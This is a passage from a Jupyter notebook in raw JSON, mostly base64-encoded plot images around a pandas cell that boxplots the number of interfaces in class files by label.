EbiOeJ5f0P6Q3IzF+X86136HLPTV3O9fs+SdKm6yHtR2beXeaPN3ep\nezdtbUpE7A68h2L6UWfb1HU+8wbsTDHM/N/ncO+jKRLg6zovlP+m2yja17k4GTgQWAncFREXUny5\n/oXMXDPHZ0obHZNrSRvS/i35XwPTs9T7SUe51wqmC/Gt92K/T5K0cZit/ei5EndELKGYg/wI4FTg\ne8A9FEn12ylGftVZ117wiHhYfpCZN0bEU4FDy89BwCeA5RFxYGZ2+4Jb2uSYXEuCYm7XOV3OQfGN\n/rblz/dl5vmLEM8McGhEbJeZ97ZORsSWFN+6r1qEGCRJ6qaVlB4K7Ar8aWvxz5aIOHmOz/4ZRe/4\nxBzuvZMiud+780JE7EgR63fbTq8qr41l5uq280/q9vByNNrXyg8R8QLg34D/DZwwh3iljY5zriUB\n/EVEbN8qRMQOwOsoGvgLgXOBO4C3lg30Q0TEI8pv8IflqxQro76x4/xxFKt/S5JUtVbP9kP+no6I\n5wHPmuWeXqtzUy4W9nngqRHxmkGCKe89B3hGRHTukvFWilFcZ7ed+6/yeHhH3b/qfPYs2239R3l8\n2N8F0qbKnmtJUHzbfXm5p2VrK67HAcdm5loo9rekmGv1X+WKqT+kmBe2F8UCKUdTDI9rmc9Q7DMo\nttF6d0TsQbGAzL4U233dSJF4S5JUhVb7dglwG/DBiBgHbqXocX4FxRDxp/W4t5d3AIcAZ5SJ+qXl\nff8D2DwzX9Xj3rdTJMsrI+KjFG31gRTt54VAew/75ynmUv9jROxF8YX68+m+Tsl5EXE3xb/5xxTt\n/yTFEPjP9PFvkjYJJteSEngLReN7PPAYim+z/yQz/2VdpczzIuKZFN9+v4Ji4ZS7KZLdD1L8IdH+\nzJ7fzneJYX0h81cRcSjwd8AfUPxRcAXFFl6fALbpdf8A1yRJm7ZB24h17Vtmri57iN8PvIHi7+qr\nKPZ+PhbYZ7Z7e50rn/scikT5xRRfYN9DsVDZ32/g3h9FxAHASRRt9RhFMnwy8O72bbQy856IeCHw\nofJda4AvA39C0b63+yhFW/xnwE4UC4Z+Fzi+bRtOaZMXPVb0l6RaiYjNKeajXZaZL6w6HkmSJKnF\nOdeSaikiOnunoZgHvgPwjUUOR5IkSerJnmtJtRQRnwW2Bi4D7geeA/wxxTD0Z7SvIi5JkiRVzeRa\nUi1FxCsp5oA/GVhCsWjMvwPvzMw7q4xNkiRJ6mRyLUmSJEnSPDnnWpIkSZKkeTK5liRJkiRpnkyu\nJUmSJEmaJ5NrSZIkSZLmyeRakiRJkqR5MrmWJEmSJGme/j9O45wpaGPqCgAAAABJRU5ErkJggg==\n", + "text": [ + "" + ] + } + ], + "prompt_number": 134 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### Finally, we check out the number of interfaces the class file has." + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "df.boxplot(column='interface_count', by='label')\n", + "plt.ylabel('Number of Interfaces')\n", + "plt.xlabel('')\n", + "plt.title('')\n", + "plt.suptitle('')" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "metadata": {}, + "output_type": "pyout", + "prompt_number": 135, + "text": [ + "" + ] + }, + { + "metadata": {}, + "output_type": "display_data", + "png": "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